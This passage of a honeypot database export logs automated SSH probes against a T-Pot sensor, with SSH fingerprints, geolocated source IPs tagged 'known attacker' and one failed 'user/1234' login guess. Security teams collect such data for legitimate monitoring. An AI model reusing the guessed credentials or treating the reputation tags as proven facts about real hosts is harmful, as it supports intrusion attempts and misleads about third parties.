"@timestamp": "2021-09-20T11:09:19.152Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
24717	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:19.191416+03	2021-09-20 14:15:09.15747+03	{"_id": "6AblAnwBvYTbRNuEYRY_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "51853037cdee", "@version": "1", "timestamp": "2021-09-20T11:09:19.191416Z", "@timestamp": "2021-09-20T11:09:19.191Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
40337	192.168.20.105	109.199.241.180	Suricata	2021-09-20 15:43:13.464972+03	2021-09-20 15:45:03.92602+03	{"_id": "6wY7A3wBvYTbRNuEW3sw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.105", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:43:13.464972Z", "@timestamp": "2021-09-20T12:43:13.464Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
24718	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:19.215464+03	2021-09-20 14:15:09.158471+03	{"_id": "6QblAnwBvYTbRNuEYRY_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "c73c35c6a2a5", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:19.215464Z", "@timestamp": "2021-09-20T11:09:19.215Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24719	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:19.329162+03	2021-09-20 14:15:09.160472+03	{"_id": "6gblAnwBvYTbRNuEYRY_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "b9437f1f38e0", "@version": "1", "timestamp": "2021-09-20T11:09:19.329162Z", "@timestamp": "2021-09-20T11:09:19.329Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24720	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:19.390049+03	2021-09-20 14:15:09.16148+03	{"_id": "6wblAnwBvYTbRNuEYRY_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "818b709f7a6d", "@version": "1", "duration": 2.6084673404693604, "timestamp": "2021-09-20T11:09:19.390049Z", "@timestamp": "2021-09-20T11:09:19.390Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24721	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:09:04.413154+03	2021-09-20 14:15:09.162499+03	{"_id": "UAblAnwBvYTbRNuEKBXd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 100452503896022, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38230, "dest_port": 22, "timestamp": "2021-09-20T11:09:04.413154Z", "@timestamp": "2021-09-20T11:09:04.413Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24722	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:09:04.099845+03	2021-09-20 14:15:09.163499+03	{"_id": "TAblAnwBvYTbRNuEKBXd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 2223222910046535, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57024, "dest_port": 22, "timestamp": "2021-09-20T11:09:04.099845Z", "@timestamp": "2021-09-20T11:09:04.099Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24738	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:05.022733+03	2021-09-20 14:15:09.185472+03	{"_id": "dgblAnwBvYTbRNuEKhV7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [user/1234] failed", "session": "0667e1517904", "@version": "1", "password": "1234", "username": "user", "timestamp": "2021-09-20T11:09:05.022733Z", "@timestamp": "2021-09-20T11:09:05.022Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24723	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:09:04.655903+03	2021-09-20 14:15:09.1655+03	{"_id": "UgblAnwBvYTbRNuEKBXd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 406754539110577, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38578, "dest_port": 22, "timestamp": "2021-09-20T11:09:04.655903Z", "@timestamp": "2021-09-20T11:09:04.655Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24724	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:04.209111+03	2021-09-20 14:15:09.166473+03	{"_id": "VQblAnwBvYTbRNuEKRXZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43380, "timestamp": "2021-09-20T11:09:04.209111", "@timestamp": "2021-09-20T11:09:04.209Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24725	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:09:04.421141+03	2021-09-20 14:15:09.167473+03	{"_id": "VgblAnwBvYTbRNuEKRXZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 38230, "dest_port": 22, "timestamp": "2021-09-20T11:09:04.421141", "@timestamp": "2021-09-20T11:09:04.421Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24726	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:09:04.209195+03	2021-09-20 14:15:09.169473+03	{"_id": "WQblAnwBvYTbRNuEKRXa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": 